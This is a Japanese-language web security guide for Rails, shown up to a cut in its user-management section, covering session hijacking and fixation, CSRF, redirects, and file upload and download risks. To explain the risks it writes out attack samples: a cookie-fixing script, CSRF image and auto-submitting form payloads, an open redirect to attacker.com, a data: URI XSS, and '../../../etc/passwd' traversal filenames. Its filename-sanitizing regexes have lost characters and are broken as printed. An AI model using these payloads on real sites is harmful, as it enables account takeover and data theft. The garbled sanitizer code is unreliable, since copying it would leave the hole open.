Railsのセキュリティ

このマニュアルでは、Webアプリケーションの一般的なセキュリティ問題と、それをRailsで回避するための方法について説明していきます。 以下の事について学んでいきましょう。

  • セキュリティの主要な対策について
  • Railsのセッションの取り扱いと、よくある攻撃方法について
  • サイトにアクセスするだけで、セキュリティ問題になる可能性(CSRF)について
  • ファイルを取り扱う場合、管理画面を提供する場合などに注意を払うべき事柄について
  • ログイン・ログアウトのユーザー管理方法とその攻撃方法について
  • 攻撃者が最も好むインジェクション攻撃の方法について

1. はじめに

Webアプリケーションフレームワークは、Webアプリケーションを作る開発者を手助けしてくれます。 また、それらのうちのいくつかは、Webアプリケーションのセキュリティについても同様に手助けをしてくれます。 実際、別のものに比べて安全ではないフレームワークもあります(翻訳に自信無し) もし、多くのフレームワークでこれを正しく使用すれば、安全なアプリケーションを構築出来るでしょう。 Railsには、例えば深刻な問題になるSQLインジェクションに対抗するためのメソッドなど、賢いヘルパーメソッドが実装されています。 全てのRailsアプリケーションが安全なレベルで運用されれば、こんなに嬉しい事はありません。

セキュリティは、使えばすぐに有効になるという事はありません。 セキュリティは、フレームワークを使用する人と、開発方法に依存するものです。 更に、バックエンドストレージ、Webサーバー、Webアプリケーション自身など、 Webアプリケーション環境の全ての階層に依存します。

Gartnerグループは、攻撃のうちの75%がWebアプリケーションレイヤーであると見積もっており、 "検査した300サイトのうち、97%に脆弱性が存在した"としています。 これは、Webアプリケーションが比較的攻撃されやすいものであり、素人でもそれが出来てしまうことに起因しています。

Webアプリケーションについての脅威は、ユーザーアカウントの乗っ取り、 アクセス制御の迂回、機密データの閲覧・または書き換え、不正なコンテンツの表示、などが含まれます。 また攻撃者によって、トロイの木馬、スパムメール送信ソフトがインストールされたり、 財産を狙われたり、会社情報を改竄されてブランドイメージが傷つけられる、といった事があるかもしれません。 攻撃を防ぐには、仮に攻撃を受けた際の影響を最小限にすること、攻撃されるポイントを無くしてしまうことです。 まずは、正しい対策を立てれるようになるために、攻撃方法について理解する必要があります。 このガイドでは、このことに照準を定めて進めていきます。

安全なWebアプリケーションを開発するためには、全てのレイヤーを最新の状態に維持し続ける事と、敵について知ることです。 最新のセキュリティメーリングリスト、セキュリティブログを読み、最新のバージョンに更新する習慣を身につけてください。 (「10.更なるセキュリティに関する情報源」を参照) いかにセキュリティ問題のロジックが厄介であるかを知るためにも、私(原文の著者)は手動でこれを行っています。

2. セッション

セッションに関する脆弱性とその攻撃について、セキュリティの学習を始めていきましょう。

2.1 セッションとは何か?

HTTPは、ステート"レス"なプロトコルです。セッションはこれをステート"フル"にします。

ほとんどのアプリケーションは、ユーザーの足跡状態を確立し続ける必要があります。 それは、ショッピングカートであったり、ログインユーザーのIDであったりします。 セッションがなければリクエストの度に、ユーザ認証が必要になってしまうでしょう。 Railsは、新しいユーザーがアプリケーションにアクセスすると自動的に新しいセッションを生成します。 既にユーザーがアプリケーションを使用してれば、存在しているセッションを読み込みます。

セッションは通常、ハッシュ値とセッションIDから成り、ハッシュを識別するために32文字の文字列を使用します。 クライアントのブラウザに送られる全Cookieには、セッションIDが含まれます。 また一方で、クライアント側のブラウザからも、サーバ側に対して全てのリクエストでそれを送信します。 Railsでは、下記のようにしてセッションメソッドを使って値の保存、取得をすることができます。

session[:user_id] = @current_user.id
User.find(session[:user_id])

2.2 セッションID

セッションIDは、32バイトのMD5ハッシュ値です。

セッションIDは、ランダムな文字列のハッシュ値から成り立ちます。 ランダムな文字列は、現在時刻、0~1の間のランダムな数値、RubyインタプリタのプロセスIDの数値、決められた文字列です。 現在のところ、RailsのセッションIDに対してのブルートフォース(総当り)攻撃を仕掛けるのは、現実的ではありません。 MD5のハッシュ関数は完全ではないため、理論上では同じハッシュ値が入力される可能性はありますが、 これまでにセキュリティ上、重要な影響を及ぼすまでに至っていません。

2.3 セッションハイジャック

ユーザーのセッションIDを盗まれることは、攻撃者がIDを盗まれた被害者のユーザーに成りすまして、アプリケーションを使用することに繋がります。

多くのWebアプリケーションは認証システムを持ち、ユーザーはユーザー名とパスワードを提供し、 Webアプリケーションはそれらをチェックして、セッションのハッシュ内にそのユーザーIDを格納します。 これから先は、そのセッションは正当であるとされ、リクエストは新しい認証を行うこと無く、 セッション内のユーザーIDから一致するユーザーの情報を読み込みます。 Cookie内のセッションIDは、セッションを識別するために使用されます。

したがって、Cookieは一時的にWebアプリケーションに認証されるものとして機能します。 他の誰かからCookieを取得してしまえば、誰でもそのWebアプリケーションをそのユーザーとして使用できてしまい、 場合によっては深刻な問題になりかねません。 ここで、いつくかのセッションの乗っ取り方法と対策について説明します。

  • セキュリティが保証されないネットワークでは、Cookie情報は危険に晒されます。 例えば無線LANは、そのようなネットワークの1つです。 特に暗号化されていない無線LANであれば、接続されている全クライアントのトラフィックを盗聴する事が非常に容易になってしまいます。 これが珈琲ショップ(喫茶店)で、仕事をしない理由の一つです。 そのため、Webアプリケーション構築者はSSLを介したセキュアな接続を提供すべきです。 Rails3.1以降、常にSSL接続を強制させることが設定ファイルで指定することによって可能になりました。
    config.force_ssl = true
    
  • ほとんどの人は、公共の端末で作業をした後にCookieを削除したりしません。 そのため、最後のユーザーがWebアプリケーションのログアウトを行わないと、 このユーザーとしてそのアプリケーションを利用することが可能になってしまいます。 ユーザーに分かるようにログアウトボタンを配置すべきです。
  • クロスサイトスクリプティング(XSS)の多くは、ユーザーのCookie情報を取得することを目的としています。 XSSについては、後述するのでそちらを確認してください。
  • Cookieを盗む代わりに、攻撃者が取得・推測したセッションID(Cookie内の)を正規ユーザーに使用させることで、成立する攻撃もあります。 セッション固定化と呼ばれるこの攻撃についても後述しますので、そちらを確認してください。

攻撃する主な目的は、お金を稼ぐことにあります。 Symantecグローバルインターネットによる、これらの脅威についてまとめたレポートによると、 アンダーグラウンドで取引される価格は、銀行のログインアカウントは$10~$1000(利用可能な資金に応じて)、 クレジット番号は$0.4~$20、オンラインオークションサイトのアカウントは$1~$8、メールのパスワードは$4~$30とされています。

2.4 セッションガイドライン

ここに一般的なセッションのガイドラインを示します。

  • セッションには、大きなオブジェクトは格納しないようにすべきです。 代わりにDBに保存するようにし、セッションにはそれらのIDだけを入れるようにします。 これにより、Cookieに含める情報を最小限にすることができ、 セッションストレージ領域を余計に使用することも無くなります(使用するセッションストレージに依存します。詳細は後述)。 アプリケーションの古いバージョンがユーザーのCookieに様々な情報を格納している場合、 オブジェクトの構造を修正してしまうのも良いでしょう。 サーバー側のストレージのセッションをクリアすることは出来ますが、 クライアント側のストレージで同様の事を行うのは困難です。
  • 重大なデータはセッションに入れるべきではありません。 もしユーザーがCookieをクリアするかブラウザを閉じれば、その情報は失われてしまいます。 またクライアント側で、そのデータを読み取ることが可能になってしまいます。

2.5 セッションストレージ

Railsはセッションのハッシュのために、いくつかのストレージの仕組みを提供します。 ここで、ActionDispatch::Session::CookieStoreは、最も重要になります。

Rails2では、新しいデフォルトのセッションストレージとしてCookieStoreを導入しました。 CookieStoreは、クライアント側のCookieに直接セッションハッシュを保存します。 サーバーは、セッションIDの必要性に応じて、セッションハッシュをCookieから取得します。 これは、アプリケーションのスピードを大幅にアップさせますが(? 翻訳に自信なし)、 論争を呼ぶストレージオプションであり、これについてはセキュリティの影響を考える必要がります。

  • Cookieには4kBという厳しい容量制限がありますが、 前述したように、大量のデータをセッションに格納すべきではないので、これは問題になりません。 通常、現在のユーザーのデータベースIDをセッションに格納するのが良いとされています。
  • クライアントは、セッションに格納された情報を全て閲覧することが可能です。 なぜなら、それはクリアなテキストとして格納されるためです。(正確にはBas64でエンコードされますが、これは暗号化ではりません。) そのため、ここに機密データを格納したくありません。 セッションハッシュがいじられるのを防ぐため、サーバ側でセッションから秘密裏に算出されたダイジェスト値を、 Cookieの終端に挿入します。

config.secret_key_baseは、アプリケーションに既知の安全なキーであることを検証させてから、 セッションを許可することでセッションハッシュがいじられるのを防ぐために、そのキーを特定するのに使用されます。 アプリケーションは、config/initializers/secret_token.rb内で、 config.secret_key_baseをランダムなキーに初期化します。
例:

YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'

古いバージョンのRailsはCookieStoreを使用します。 これは、secret_key_baseの代わりにEncryptedCookieStoreで使用されるsecret_tokenを使用します。 詳細については、アップグレードドキュメントを確認してください。

もし、セキュリティが脆弱なWebアプリケーションを任されるような場合(例えば、アプリケーションのソースが共有されるなどして)、 その修正を行うことを、必ず検討してください。

2.6 CookieStoreセッションへのリプレイ攻撃

CookieStoreを使用する際に気をつけなければいかないもう1つの事に、リプレイ攻撃があります。

それは、次のように動作します。

  • ユーザーはクレジット(勘定?)を受け取り、セッションに格納します。 (デモのためにこのようにしていますが、通常このようなことはすべきではありません。)
  • ユーザーが何か買い物をします。
  • (別途アカウントを立ちあげ?)、低い勘定の状態がセッションに格納されます。
  • ここで(悪意を持って)、最初のステップで取得したCookieをコピーして置き換えます。
  • ユーザーは支払うはずの代金を取り戻すことが出来てしまいます。

リプレイ攻撃に対する上記の例は、あまり一般的では無いように思います。 通常は暗号化されていたとしても、ネットワーク上でセッション情報が盗聴されてしまうと、そのままその暗号化されたデータをサーバに送ることで、 ユーザーの成りすましが成立してしまうという攻撃例の方が一般的だと思われます。

セッションにナンス(nonce - ランダムな値)を含める事で、リプレイ攻撃を防ぎます。 ナンスは一度だけ有効であり、サーバーはユーザーの足跡において全てのナンスが有効であるように状態を維持する必要があります。 もし、いくつか(雑多な)アプリケーションサーバーがあると、それがより複雑になってしまいます。 DBテーブル内にナンスを格納することは、CookieStore全体の目的を台無しにしてしまいます。(DBへのアクセスを回避)

これに対する最良の解決策は、この種のデータをセッションに入れずに、DBにいれることです。 このケースであればクレジット((勘定?)はDBに入れ、logged_in_user_idをセッションに入れます。

2.7 セッション固定化

ユーザーのセッションIDを盗むのではなく、攻撃者が知りえるセッションIDを正規ユーザーに使わせる攻撃を セッション固定化と呼びます。

session_fixation

これは攻撃者の知るセッションIDを固定化し、正規の強制的にユーザーのブラウザ上で使用させる攻撃です。 そのため、攻撃者はセッションIDを盗む必要はありません。 ここで、攻撃方法について説明します。

  • 攻撃者はWebアプリケーションログインページから固定化のためのセッションIDを読み込むことで、正式なセッションIDを作成し、 Cookie内のレスポンスから渡されたセッションIDを取得します。(図の1,2)
  • 攻撃者はセッションを出来るかぎり維持しようとします。 セッションの期限を例えば20分に指定すると、攻撃される頻度を大幅に減らすことが出来ます。 そのため、攻撃者はセッションを維持し続けるために度々Webアプリケーションにアクセスします。
  • 次に攻撃者は、正規ユーザーのブラウザにこのセッションIDを強制的に使用するように仕向けます。8(図の3) 異なるドメイン間でCookieが変更されることはおそらく無いため(Same-Originポリシーのため)、 攻撃者は、ターゲットのWebアプリケーションのそのドメイン上でjavaScriptを実行しようと試みます。 XSSによってjavaScriptコードをアプリケーションに混入させることで、これを可能にします。 ここに例を示します。

    <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>.
    

    XSSの詳細については、後述します。

  • 攻撃者は、javaScriptコードに汚染されたページに被害者を誘い込みます。 ページを見ると、被害者のブラウザのセッションIDがトラップ用のセッションIDに書き換えられます。
  • トラップ用のセッションIDはまだ使用されていないため、Webアプリケーションはユーザーに認証を要求します。
  • これで被害者と攻撃者は同じセッションによりWebアプリケーションを共有して使用している状態になります。 セッションは正当なものになるため、被害者は攻撃に気づきません。

2.8 セッション固定化の対策

1行のコードが、セッション固定化を防いでくれます。

最も効果的な対策は、ログイン成功後に新しいセッションIDを発行し、古いセッションIDを無効にしてしまうことです。 この方法で、攻撃者はセッション固定化攻撃をすることが出来なくなります。 これはセッションハイジャックに対しても同様に効果的な対策です。 Rails内で新しいセッションを生成する方法は下記のとおりです。

reset_session

もし、ユーザー管理のためにRestfulAuthenticationプラグインを使用している場合、 SessionsController#createアクションにreset_sessionを追加します。 これはセッションの任意の値を削除するので注意してください。 新しいセッションにそれらを移す必要があります。

もう一つの対策として、ユーザーのセッション内の特定のプロパティを保存し、 全てのリクエストでそれを確認し、その情報が一致しなければアクセスを拒否する方法が上げられます。 その特定のプロパティとして、リモートIPアドレス、ユーザーエージェントなどが上げられますが、 後者はあまり相応しいものでは無いでしょう。 IPアドレスを保存した場合、そのIPアドレスはサービス・プロバイダ、または大きな組織内より、代理で提供されているかもしれない事に、 注意する必要があります。 これらによってIPアドレスが変更されるような事があると、ユーザーはあなたのWebアプリケーションを使用できない、 または限定的な使用しか出来ないことに成りかねません。

2.9 セッションの期限

セッションの期限が無いという事は、CSRFやセッションハイジャック、セッション固定化のような攻撃に猶予を与えることに繋がります。

1つの方法として、セッションIDのCookieの期限を設定することが挙げられます。 しかし、ブラウザ内にサーバが安全であるとしてセッション期限を定めて格納したCookieを、 クライアント側で編集することが出来てしまいます。 ここで、セッション期限をデータベーステーブル内に格納する方法の例を示します。 Session.sweep("20 minutes")とすることで、20分以上経過したセッションを期限切れとすることが出来ます。

class Session < ActiveRecord::Base
  def self.sweep(time = 1.hour)
    if time.is_a?(String)
      time = time.split.inject { |count, unit| count.to_i.send(unit) }
    end

    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
  end
end

このセッション固定化の節では、セッションを保持することについての問題を紹介しました。 攻撃者が5分毎にセッションを保持すれば、あなたがセッションを期限切れにしても、永遠にセッションを継続する事が出来てしまうということになります。 これについてのシンプルな解決法は、created_atカラムをセッションテーブルに追加することです。 これで、かなり以前に作成されたセッションを削除することが出来るようになります。 上記のメソッドのsweepメソッド内で、下記のコードを使用してみてください。

delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
  created_at < '#{2.days.ago.to_s(:db)}'"

3. クロスサイト・リクエスト・フォージェリ(CSRF)

この攻撃方法は、悪意のあるコードを含めるか、 またはユーザーに認証が必要であると思われているWebアプリケーションへリンクしてアクセスさせることで作用します。 もし、そのWebアプリケーションでのセッションがタイムアウトになっていない場合、 攻撃者に認証されていないはずのコマンドを実行されてしまう恐れがあります。

csrf

セッションの章で、多くのRailsアプリケーションはCookieベースのセッションの仕組みを使用していることを学びました。 セッションIDをCookie内に格納してサーバーサイドでセッションハッシュを持つか、 全てのセッションハッシュをクライアント側で持つかのどちらかでした。 どちらのケースでも、ブラウザが各リクエスト毎にそのドメイン用のCookieを自動的に送信します。 ここで注目すべき点は、Cookieは異なるドメインのサイトからのリクエストでも、Cookieが送られて来ることです。 下記にその例になります。

  • ボブは掲示板をブラウザで参照しており、攻撃者が投稿したimage要素の内容を見てしまいます。 そのimage要素の参照先はイメージファイルではなく、ボブが使用しているプロジェクト管理アプリケーションでした。
  • <img src="http://www.webapp.com/project/1/destroy">
  • ボブは数分前にログアウトしていなかったため、www.webapp.comでのセッションはまだ有効でした。
  • 攻撃者の投稿から、ブラウザはimageタグを見つけます。 ブラウザはimageだと思われるwww.webapp.comを読み込もうと試みます。 先程説明したように、ここで正当なセッションIDを含むCookieも送信してしまいます。
  • www.webapp.comのWebアプリケーションは、ユーザー情報がセッションハッシュのものと一致するか検証し、 ID 1のプロジェクトを削除します。 ブラウザには削除結果のページが返されますが、これはimageを期待していたブラウザの意図と反するので、 ブラウザは画像を表示しません。
  • ボブはその場では攻撃に気づかず、数日後にID 1のプロジェクトが無くなっていることに気付きます。

画像やリンクは必ずしもWebアプリケーションのドメイン内に配置される必要はなく、 外部のフォーラムやブログへの投稿、Eメール上でも構わないということに注意しなければいけません。

CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – CSRF is an important security issue.

3.1 CSRF対策

W3Cが必須であると求めているように、GETとPOSTを適切に使用することです。 次に、GETでは無いリクエストではセキュリティトークンを用いることで、CSRFからアプリケーションを守ります。

HTTPプロトコルは基本的にGETとPOSTの2つの主要なリクエストタイプを提供しています。 (他にもありますが、ほとんどのブラウザでサポートされていません。) W3Cは、HTTPのGETとPOSTのどちらを選択するべきかのチェックリストを提供しています。

GETを使用する場合
  • 問い合わせ的なインタラクション
    (例:クエリー、読み込み、検索等の安全なオペレーション)
POSTを使用する場合
  • 指示、命令的なインタラクション
  • または、ユーザーの意図によってリソースの状態を変更するようなインタラクション
    (例: サービスへの申し込みなど)
  • または、ユーザーがその結果に対し責任を保持するようなインタラクション

もし、WebアプリケーションがRESTfulであれば、PATCH、PUTやDELETEなどの追加のHTTP動詞が使用されているかもしれません。 現在ほとんどのWebブラウザはGETとPOSTのみで、これらをサポートしていませんが、 Railsはhiddenの_methodフィールドを使用して、これを擬似的に扱います。

POSTリクエストも自動的に送信させることが出来ます。

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

また攻撃者であれば、タグをimageにし、イベントもonmouseoverに差し替えるといった事が考えられます。

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

他にも、バックグラウンドにAjaxを仕込むなど、多くの可能性が考えられます。 この解決法は、セキュリティトークンを含めたGETではないリクエストで送り、サーバ側で検証することです。 Rails2以上では、アプリケーションコントローラーに一行追加するだけで実装されます。

protect_from_forgery secret: "123456789012345678901234567890..."

こうすることで、現セッションとサーバ側の秘密文字(?)から算出されたセキュリティトークンが Railsによって自動的に全てのフォームとAjaxのリクエストに埋め込まれます。 セッションストレージとしてCookieStorageを使用した場合、秘密文字(?)が不要になります。 セキュリティトークンがRailsが期待するものと一致しない場合、セッションはリセットされます。 注意: Rails3.0.4より前のバージョンでは、ActionController::InvalidAuthenticityTokenが発生します。

例えば、ユーザー情報を保持するのに、永続化Cookieとしてcookies.permanentを使用するのが一般的です。 このケースでは、Cookieはクリアされず、CSRF対策が有効になりません。 もし、この情報をセッションではなく、異なる方法でCookieを格納していた場合、この扱いを自身で制御しなければいけません。(翻訳に自信無し)

def handle_unverified_request
  super
  sign_out_user # 例:userのCookieを削除するメソッド
end

上記のメソッドは、ApplicationControllerに配置することが可能で、 GETではないリクエスト(POSTなど)で、CSRFトークンが提供されない場合に呼び出されます。

クロスサイトスクリプティング(XSS)の脆弱性が存在すると、全てのCSRF対策が回避されてしまうことに注意してください。 XSSはページ内の全ての要素に対し、攻撃者へのアクセスを可能にしてしまうため、 攻撃者はCSRFセキュリティトークンを直接読み取るか、直接フォーム送信をしてしまいます。 XSSについての詳細は後述します。

4. リダイレクトとファイル

Webアプリケーションにおける別のセキュリティの脆弱性として、リダイレクトとファイルの使用に関するものがあります。

4.1 リダイレクト

Webアプリケーション内のリダイレクトは、クラッカーツールとして過小評価されている面があります。 攻撃者はユーザーを悪意のあるWebサイトにリダイレクトするだけでなく、 自己完結型の攻撃を作り出すことも出来ます。

ユーザーに対しリダイレクトするためのURL(または一部)を指定できる事を許可してしまうと、それは脆弱性に成りえます。 分かりやすい攻撃に、ユーザーを本物とそっくりの偽のWebアプリケーションにリダイレクトさせるという攻撃があります。 フィッシング攻撃と言われるこの攻撃は、ユーザーに送信されたメールのリンク、XSSによるWebアプリケーション内へのリンクの挿入、 または 外部サイト内でのリンクの配置によって行われます。 http://www.example.com/site/redirect?to= www.attacker.comといったパラメータ指定でリダイレクトさせてしまうと、 リンクのURLの始まりがWebアプリケーションであるため、悪意のあるサイトへのリダイレクトとは分かりづらく、 疑いを持たれないという問題があります。 例として次のようなlegacyアクションがあるとします。

def legacy
  redirect_to(params.update(action:'main'))
end

ユーザがlegacyアクションにアクセスしようとすると、mainアクションにリダイレクトします。 これの意図するところは、legacyアクションへのURLパラメータを、mainアクションに渡すことにありますが、 URLにhostキーを含めることで、攻撃者が悪用できるようになってしまいます。

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

もし、URLの末尾にそれがあると、気づくことが難しく、ユーザーはattacker.comのホストにリダイレクトされてしまいます。 シンプルな対策は、legacyアクションでは期待するパラメータのみ受け取るようにすることです。 (予期しないパラメータを排除するために、ホワイトリストを使用するなど) もし、URLリダイレクトを実装するのであれば、ホワイトリストまたは正規表現を使用してパラメータをチェックしてください。

4.1.1 自己完結型XSS

FirefoxとOpera内でdataプロトコルを使用することで、リダイレクトの自己完結型XSS攻撃が作用します。 このプロトコルはブラウザに直接コンテンツを表示するもので、HTMLまたはjavaScriptから、 全ての画像に対してどんな事でも出来てしまいます。(翻訳に自信無し)

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

この例は、Base64でエンコードされたjavaScriptでシンプルなメッセージボックスを表示します。 攻撃者はリダイレクトのURLの中に、悪意のあるコードを含めることが出来ます。 この攻撃への対策は、リダイレクトされるURL(またはその一部)の指定を、ユーザーに許可しないことです。

4.2 ファイルアップロード

ファイルアップロードが重要なファイルを上書きしないこと、メディアファイルの過程が非同期であることを確認してください。

多くのWebアプリケーションで、ユーザーがファイルをアップロードする事を許可してします。 ユーザーが選択するファイル名(またはその一部)は、攻撃者がサーバー上のファイルを上書きするような悪意のあるファイル名にしていないか、 常にチェックすべきです。 もし、ファイルがアップロードされる先が/var/www/uploadsである場合、ユーザーがファイル名を“../../../etc/passwd”のようなものにすると、 重要なファイルが上書きされてしまうかもしれませんが、Rubyインタプリタにそれを行うための権限が必要になります。 Webサーバー、データベースサーバー、その他のプログラムをより低い権限のUNIXユーザーで実行する理由がまた1つ増えましたね。

ユーザーが入力したファイル名をフィルタリングする際に、悪意のある部分を削除しようとしないでください。 Webアプリケーションが、ファイル名の全ての“../”を削除するという状況を考えた場合、 攻撃者は“....//”のような文字列をファイル名に含め、結果的にこれは"../"になります。 最も効果的なのはホワイトリストを使用することで、ファイル名が正当な文字列のみで構成されているかを調べます。 これはブラックリストを使用して、許可しない文字列の削除を試みるアプローチとは反対の方法です。 正当なファイル名で無ければ、拒否(または許可されない文字列を置換)し、それらの文字列を削除することはしないでください。 下記は、ファイル名をサニタイズするattachment_fuプラグインです。

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub! /A.*(\|/)/, ''
    # Finally, replace all non alphanumeric, underscore
    # or periods with underscore
    name.gsub! /[^w.-]/, '_'
  end
end

ファイルアップロード(attachment_fuは画像でそれが発生するかもしれない)の同期処理の重大な欠点は、DOS攻撃の脆弱性に晒されることです。 攻撃者は多くのコンピューターから、画像ファイルアップロードの同期処理を開始することで、 サーバの負荷が増大し、その結果クラッシュしたり、サーバのパフォーマンスが著しく低下します。

これの最善の解決策は、メディアファイルを非同期で処理し、メディアファイルを保存し、データベースでリクエストの処理をスケジューリングすることです。 2度目の処理で、バックグラウンドでファイルの処理を行います。(翻訳に自信無し)

4.3 ファイルアップロード内でのコードの実行

アップロードしたファイルのコードが、特定のディレクトリに置かれた場合に実行されてしまうというケースがあるかもしれません。 もし、/publicディレクトリがApacheのホームディレクトリである場合は、その中には置かないようにしてください。

ポピュラーなWebサーバーであるApacheはDocumentRootと呼ばれるオプションを持ちます。 これはWebサイトのホームディレクトリであり、このディレクトリのツリーの全てがWebサーバーとして提供されます。 もし、ファイル名に特定の拡張子が付いていた場合、リクエストされるとコードが実行されてしまいます。(オプション設定が必要かもしれませんが) 例えば、PHPとCGIファイルがこれに該当します。 攻撃者が"file.cgi"というファイルをアップロードした時の状況を考えてみましょう。 誰かがこのファイルをダウンロードしようとした際に、このファイルのコードが実行されてしまいます。

4.4 ファイルのダウンロード

ユーザーが任意のファイルをダウンロード出来ないことを確認して下さい。

アップロードするファイル名をフィルタリングしなければいけないように、 ダウンロードも同様にしなければいけません。 send_file()メソッドは、ファイルをサーバーからクライアントに送ります。 もし、ユーザーが入力したファイル名をフィルタリング無しで使用すると、 どんなファイルでもダウンロード出来るようになってしまいます。

send_file('/var/www/uploads/' + params[:filename])

例えば、ファイル名に“../../../etc/passwd”のようなパスを指定されると、サーバのログイン情報がダウンロードされてしまいます。 これに対するシンプルな解決策は、リクエストされたファイルが、用意しているディレクトリ内に存在することを確かめることです。

basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
     File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'

別のアプローチとして、ファイル名をデータベースに格納し、 ディスク上のファイルには、データベースのIDに続く名前を付けます。(翻訳に自信無し) これは、アップロードされたファイルのコードが実行されてしまう危険性を避ける事に対しても効果的です。 attachment_fuプラグインは、これを同様の方法で行います。

5. イントラネットと管理者のセキュリティ

イントラネットと管理者インターフェースは、権限アクセスの性質からポピュラーな攻撃対象となります。 余計にセキュリティ対策が必要になりますが、現実世界では反対の事が起こっています。

2007年、"Monster for employers"と言われるMonster.comのオンライン求人サイトのイントラネットから情報を盗んだ、 最初のオーダメイドのトロイの木馬がありました。 オーダメイドのトロイの木馬は非常に珍しく、これまでのところリスクは非常に低いのものの、 可能性は捨てきれず、クライアントホストのセキュリティも、いかに重要なのかを測る事例となっています。(翻訳に自信無し) ただし、イントラネットおよび管理者アプリケーションにとって最も脅威になるのは、XSSとCSRFです。

XSS アプリケーションが、エクストラネット(異なる企業間での情報通信を行うネットワークシステム)から悪意のあるユーザーの入力を再表示するような場合、 そのアプリケーションはXSSに対して脆弱になります。 ユーザー名、コメント、スパム報告、配送先住所等は、ごく一部の例に過ぎず、 XSSの脆弱性はどこにでも存在し得ます。

これが管理者インターフェース、またはイントラネットの1箇所にでも入力をサニタイズしない状態で存在すると、 アプリケーション全体が脆弱になります。 こういった脆弱性は、権限付きの管理者Cookieを盗むことや、管理者のパスワードを盗むためのiframeインジェクション、 ブラウザのセキュリティホールを突いてマルウェアをインストールして管理者コンピューターを乗っ取るなどの目的で利用されてしまいます。

XSS対策のインジェクションのセクションを参照してください。 イントラネットや管理者インターフェースで、SafeErbプラグインを使用することが推奨されています。

CSRF クロスサイト・リクエスト・フォージェリ(CSRF)は、影響の大きい攻撃方法で、 管理者やイントラネットユーザーが行う全ての事を、攻撃者が行うことが出来てしまいます。 CSRFについては、このページ内で既に学んできましたが、 ここでは攻撃者がイントラネット、または管理者インターフェース内で何が出来てしまうのかを例を見て確認しましょう。

CSRFによるルーターの再設定を行う、といったメキシコでの実例があります。 攻撃者は、CSRFが含まれた悪意のあるメールをメキシコのユーザーに送信します。 メールは、ユーザーにEカードがあることを伝える内容になっていますが、 そのメールに含まれるimageタグに、ユーザーのルーターの再設定を引き起こすHTTP-GETリクエストを含んでいます。 (メキシコでは、ポピュラーな事例です。) そのリクエストは、DNS設定を変更し、メキシコの銀行取引サイトを攻撃者のサイトにマッピングします。 銀行取引のサイトにアクセスしようとすると、ルーターは攻撃者の偽のWebサイトを閲覧することになり、 アカウント情報が盗まれることになります。

他にGoogleアドセンスのメールアドレスとパスワードが変更された、という実例があります。 被害者がGoogleアドセンスのGoogleの広告キャンペーンの管理者インターフェースにログインしてしまうと、 攻撃者がアカウント情報を変更することが出来てしまうというものでした。(翻訳に自信なし)

別のポピュラーな攻撃に、スパムによってWebアプリケーション・ブログ・フォーラムに対して悪意のあるXSSを増殖させるといったものがあります。 もちろん、攻撃者がURL構造を知る必要がありますが、ほとんどのRailsアプリケーションのURLは非常に分かりやすくなっており、 仮にそれがオープンソースのアプリケーションの管理インターフェイスであれば、攻撃者は容易にそれを知ることが出来てしまいます。 可能な限りの組み合わせを試す悪意のあるIMGタグを含めることによって、攻撃者にとってはラッキーな1000件もの攻撃が成立しているのかもしれません。

管理者インターフェース、イントラネットアプリケーションでのCSRF対策については、CSRF対策のセクションを参照してください。

5.1 追加の予防措置

一般的な管理者インターフェースには、 www.example.com/adminといったURLに配置されており、アクセスできるのはUserモデルで管理者フラグがセットされているユーザーだけで、 管理者があらゆるデータを好きなように削除・追加・編集できるようになっている、といった特徴があると思います。 ここで、これらの事について考えてみましょう。

  • 誰かにCookie、またはユーザー権限を盗られるといった最悪のケースを想定することは、非常に重要な事で、 攻撃の可能性を制限する管理インターフェイスの権限を導入するといったことを検討すべきです。 または、アプリケーションの公開部分で使用されるものとは別の管理者インターフェースのための特別なログインアカウントを作るといった手段もあります。 他に非常に重要なアクションに対して、特別なパスワードを設けるという方法も考えられます。
  • 管理者は世界中のどこからでも、管理インターフェースにアクセスできなければいけないのでしょうか? ログインに対するIPアドレス制限について考えてみます。 request.remote_ipから、ユーザーのIPアドレスかどうかを調べます。 これは強力な防壁になりますが、プロキシーを使用されるかもしれないといった事も考慮しておいてください。
  • 管理者インターフェースは、admin.application.comのような特別なサブドメインからアクセスするようにして、 管理操作を分離します。 こうすることで、通常のドメインであるwww.application.comから、管理者Cookieを盗むことを不可能にします。 これはブラウザの同一ドメインポリシーによるもので、www.application.comに注入された(XSS)スクリプトが、 admin.application.comのCookieを読み込めなくするもので、その逆もまた然りです。

6. ユーザー管理

多くのアプリケーションで、認証と権限付与の機能を実装する必要があります。 そういった機能を自分で実装するよりも、一般的なプラグインを使用することをお勧めします。 ただし、アップデートを怠らないようにしなければいけません。 追加の対策をすることで、アプリケーションのセキュリティはより強固になります。

Railsで利用可能な認証用のプラグインがいくつか存在します。 deviseauthlogicのような、 人気のあるプラグインは、プレーンなテキストのパスワードではなく、暗号化されたパスワードのみをデータベースに格納します。 Rails3.1からは、同じような機能を持つ組み込みのhas_secure_passwordメソッドが使用できるようになりました。

新規ユーザーは受信したメール内のリンクから、アカウントを有効にするためのアクティベーションコードを取得します。 アカウントを有効にした後、データベースのactivation_codeカラムにはNULLが設定されます。 もし、誰かが下記のようなURLをリクエストした場合、データベース上で最初にアカウントが有効になってるユーザーとしてログイン出来てしまいます。 (また、そのユーザーが管理者である可能性があります。)

http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=

